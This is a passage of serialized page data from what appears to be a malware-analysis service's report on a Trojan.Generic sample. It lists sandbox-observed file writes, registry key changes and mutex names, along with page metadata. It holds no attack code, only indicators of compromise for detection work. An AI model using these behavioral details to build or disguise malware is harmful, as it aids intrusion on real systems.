Files\\Content.IE5\\SLSW3KYW\\_3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\_3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\2132710603.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\Q38I0BE9\\_1[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\W4ZUP6XA\\_2[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\V8IO49DI\\_3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\_1[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\Q38I0BE9\\_2[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\W4ZUP6XA\\_3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{E1A15465-0B18-474C-A439-7DDBCE65DA10}\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-12-35\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{E1A15465-0B18-474C-A439-7DDBCE65DA10}\\00-50-56-91-12-35\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RELIABILITY\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RELIABILITY\\USERDEFINED\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F3B2BA1E-63C4-40FD-BB29-3CA7B4B37583}\\","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-8C-45\\","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F3B2BA1E-63C4-40FD-BB29-3CA7B4B37583}\\00-50-56-91-8C-45\\","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RELIABILITY\\","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RELIABILITY\\USERDEFINED\\","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{E1A15465-0B18-474C-A439-7DDBCE65DA10}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-12-35\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F3B2BA1E-63C4-40FD-BB29-3CA7B4B37583}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-8C-45\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ax765638x6xa","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"ax765638x6xa","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\xouauxuax","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"xouauxuax","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}]}},"report_ids":{"sandbox_job_ids":["662db1b28642194f0e093561","662aefc8222315a2bb0600b2"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 5f28bba8bd23… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 5f28bba8bd23…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 13 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 5f28bba8bd23… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 5f28bba8bd23…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 13 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 5f28bba8bd23… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 5f28bba8bd23…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 13 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L73","11",{}]]